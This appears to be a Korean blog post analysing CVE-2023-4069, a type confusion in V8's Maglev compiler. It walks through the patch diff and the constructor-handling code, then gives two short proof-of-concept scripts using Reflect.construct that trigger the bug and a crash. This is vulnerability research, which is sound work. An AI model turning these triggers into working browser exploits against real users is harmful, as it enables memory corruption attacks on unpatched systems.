본문 바로가기

Research/Browser

CVE-2023-4069 (Type confusion in VisitFindNonDefaultConstructorOrConstruct of Maglev)

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

Get V8 source code

mkdir v8
cd v8
fetch v8
cd v8
git checkout 7f22404388ef0eb9383f189c1b0a85b5ea93b079
gclient sync -D

Install build dependencies

./build/install-build-deps.sh

Build V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8

Install GDB plugin

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Prerequisite Knowledge

Maglev

Maglev는 컴파일 속도를 중점에 두고 설계된 V8의 새로운 mid-tier JIT compiler입니다.

Maglev design docs (2022.02.04.)

Initial Maglev commit (2022.02.24.)

Enable by default on desktop (2023.07.17.)

Turbofan보다 최적화를 덜 하는 대신 컴파일 속도가 빠른 장점이 있습니다. 테스트 결과, Jetstream에서 7.5%, Speedometer에서 5%의 속도 향상이 있었다고 합니다.

Maglev가 default로 활성화되기 전의 버전에서는, Maglev를 사용하려면 --maglev 옵션을 줘야 합니다.

함수를 Maglev로 컴파일하려면, % OptimizeMaglevOnNextCall()을 사용하거나, % OptimizeFunctionOnNextCall()을 사용하고 --optimize-on-next-call-optimizes-to-maglev 옵션을 주면 됩니다.

Constructor

JavaScript에서 class의 constructor(생성자, ctor)는 instance를 생성할 때 호출되는 특수한 method입니다.

/* test.js */

class A {
    constructor() {
        console.log('constructor');
    }
}
new A();

new A()A class의 instance를 생성할 때 constructor()가 호출되는 것을 확인할 수 있습니다. 생성된 object의 prototype과 constructor 정보는 map에 저장됩니다.

/* test.js */

class A {
    constructor() { }
}
let a = new A();
% DebugPrint(a);
% DebugPrint(A);

a의 prototype은 class A이고, constructor는 함수 A()입니다.

Constructor A()에서 initial_map은 이 constructor가 생성한 object a의 map을 의미하고, 앞으로 생성하는 모든 object도 메모리 구조가 같기 때문에 동일한 map을 가지게 됩니다. A()Function type이기 때문에 prototype은 class JSFunction이고, constructor는 함수 Function()입니다.

Class를 상속받은 경우에는 약간의 차이가 있습니다.

/* test.js */

class A { }
class B extends A {
    constructor() {
        super();
    }
}
let b = new B();
% DebugPrint(b);
% DebugPrint(B);

b의 prototype은 class B인데, constructor는 parent class의 constructor와 동일하게 함수 A()입니다. B를 상속받는 또다른 class가 있어도 B와 동일한 constructor를 가지기 때문에 역시 A()가 됩니다.

Constructor B()의 prototype은 parent class의 constructor인 A()인데, constructor는 마찬가지로 A()의 constructor와 동일하게 함수 Function()입니다.

Reflect.construct()를 이용하면 constructor가 생성하는 object의 prototype을 임의로 지정할 수 있습니다.

/* test.js */

class A { }
class B extends A {
    constructor() {
        console.log('new.target == ' + new.target + '\n');
        super();
    }
}
class C extends B { }

let b = Reflect.construct(B, [], C);
% DebugPrint(b);
% DebugPrint(B);

Reflect.construct()의 첫 번째 인자는 target(호출할 constructor), 두 번째 인자는 argumentsList(constructor에 전달할 인자들로 구성된 array), 세 번째 인자(optional)는 newTarget(생성될 object의 prototype)입니다. Constructor 내부에서 new.target으로 newTarget에 접근할 수 있습니다.

b의 prototype이 class C인 것을 확인할 수 있습니다.

Reflect.construct()로 object를 생성한 경우에는 initial_map이 저장되지 않습니다.

Analysis

Patch diff

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
   StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
 }

+bool MaglevGraphBuilder::HasValidInitialMap(
+    compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
+  if (!new_target.map(broker()).has_prototype_slot()) return false;
+  if (!new_target.has_initial_map(broker())) return false;
+  compiler::MapRef initial_map = new_target.initial_map(broker());
+  return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
 void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
   ValueNode* this_function = LoadRegisterTagged(0);
   ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
               TryGetConstant(new_target);
           if (kind == FunctionKind::kDefaultBaseConstructor) {
             ValueNode* object;
-            if (new_target_function && new_target_function->IsJSFunction()) {
+            if (new_target_function && new_target_function->IsJSFunction() &&
+                HasValidInitialMap(new_target_function->AsJSFunction(),
+                                   current_function)) {
               object = BuildAllocateFastObject(
                   FastObject(new_target_function->AsJSFunction(), zone(),
                              broker()),

Maglev가 FindNonDefaultConstructorOrConstruct instruction을 컴파일할 때 호출되는 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()에서, BuildAllocateFastObject()로 들어가는 조건문에 HasValidInitialMap(new_target_function->AsJSFunction(), current_function)이 추가되었습니다.

Code flow

FindNonDefaultConstructorOrConstruct는 parent class의 constructor(super ctor)로부터 non-default ctor를 만날 때까지 prototype chain을 탐색하는 instruction입니다.

/* v8/src/interpreter/interpreter-generator.cc */

// FindNonDefaultConstructorOrConstruct <this_function> <new_target> <output>
//
// Walks the prototype chain from <this_function>'s super ctor until we see a
// non-default ctor. If the walk ends at a default base ctor, creates an
// instance and stores it in <output[1]> and stores true into output[0].
// Otherwise, stores the first non-default ctor into <output[1]> and false into
// <output[0]>.
IGNITION_HANDLER(FindNonDefaultConstructorOrConstruct, InterpreterAssembler) {
  TNode<Context> context = GetContext();
  TVARIABLE(Object, constructor);
  Label found_default_base_ctor(this, &constructor),
      found_something_else(this, &constructor);

  TNode<JSFunction> this_function = CAST(LoadRegisterAtOperandIndex(0));

  FindNonDefaultConstructor(this_function, constructor,
                            &found_default_base_ctor, &found_something_else);

  BIND(&found_default_base_ctor);
  {
    // Create an object directly, without calling the default base ctor.
    TNode<Object> new_target = LoadRegisterAtOperandIndex(1);
    TNode<Object> instance = CallBuiltin(Builtin::kFastNewObject, context,
                                         constructor.value(), new_target);

    StoreRegisterPairAtOperandIndex(TrueConstant(), instance, 2);
    Dispatch();
  }

  BIND(&found_something_else);
  {
    // Not a base ctor (or bailed out).
    StoreRegisterPairAtOperandIndex(FalseConstant(), constructor.value(), 2);
    Dispatch();
  }
}

MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()는 컴파일 과정에서 FindNonDefaultConstructorOrConstruct instruction을 처리하는 함수입니다. 패치 전의 코드를 보면,

/* v8/src/maglev/maglev-graph-builder.cc */

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
...
      while (true) {
...
            if (new_target_function && new_target_function->IsJSFunction()) {
              object = BuildAllocateFastObject(
                  FastObject(new_target_function->AsJSFunction(), zone(),
                             broker()),
                  AllocationType::kYoung);
            } else {
              object = BuildCallBuiltin<Builtin::kFastNewObject>(
                  {GetConstant(current_function), new_target});
            }
            StoreRegister(register_pair.first, GetBooleanConstant(true));
            StoreRegister(register_pair.second, object);
            return;
          }
          break;
        }

        // Keep walking up the class tree.
        current = current_function.map(broker()).prototype(broker());
      }
...
}

current_function은 prototype chain에서 현재 탐색 중인 constructor이고, new_target_functionnew.target입니다. new_target_function && new_target_function->IsJSFunction()true이면 BuildAllocateFastObject()를 호출합니다.

/* v8/src/maglev/maglev-graph-builder.cc */

ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {
...
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);
  BuildStoreReceiverMap(allocation, object.map);
  AddNewNode<StoreTaggedFieldNoWriteBarrier>(
      {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
      JSObject::kPropertiesOrHashOffset);
  if (object.js_array_length.has_value()) {
    BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length),
                          JSArray::kLengthOffset);
  }

  BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
  for (int i = 0; i < object.inobject_properties; ++i) {
    BuildStoreTaggedField(allocation, properties[i],
                          object.map.GetInObjectPropertyOffset(i));
  }
  return allocation;
}

BuildAllocateFastObject()가 생성하는 코드는 constructor의 instance의 구조에 맞게 object를 구성하여 반환합니다.

만약 Reflect.construct()의 세 번째 인자인 newTarget이 구조가 다른 object를 생성하는 constructor라면, object의 구조와 prototype이 일치하지 않아 type confusion이 발생할 수 있습니다.

bool MaglevGraphBuilder::HasValidInitialMap(
    compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
  if (!new_target.map(broker()).has_prototype_slot()) return false;
  if (!new_target.has_initial_map(broker())) return false;
  compiler::MapRef initial_map = new_target.initial_map(broker());
  return initial_map.GetConstructor(broker()).equals(constructor);
}

따라서 패치에서는 BuildAllocateFastObject()를 호출하기 전에 HasValidInitialMap()으로 new_target_functioninitial_map의 constructor가 current_function인지 확인하는 코드가 추가되었습니다.

PoC

/* poc.js */

var x;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
    }
}

let newTarget = Error;

% PrepareFunctionForOptimization(B);
Reflect.construct(B, [], newTarget);
% OptimizeMaglevOnNextCall(B);
let b = Reflect.construct(B, [], newTarget);

let o = new newTarget();
% DebugPrint(o);
% DebugPrint(b);

newTarget에 임의의 class를 넣으면 class B와 type confusion을 일으킬 수 있습니다.

만약 이를 이용하여 접근할 수 없는 메모리에 접근하려고 시도하면 segmentation fault가 발생합니다.

/* poc.js */

var x;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
    }
}

let newTarget = Number;

% PrepareFunctionForOptimization(B);
Reflect.construct(B, [], newTarget);
% OptimizeMaglevOnNextCall(B);
let b = Reflect.construct(B, [], newTarget);

let o = new newTarget();
% DebugPrint(o);
% DebugPrint(b);

elements 다음에 나올 value를 가져오는 과정에서 터진 것을 확인할 수 있습니다.

정상적인 Number object인 o의 메모리 구조를 보면,

빨간 박스가 value에 해당하는데,

b의 경우 value가 홀수이므로 SMI가 아니기 때문에 저 주소로 접근하려다가 SIGSEGV가 발생하게 됩니다.

References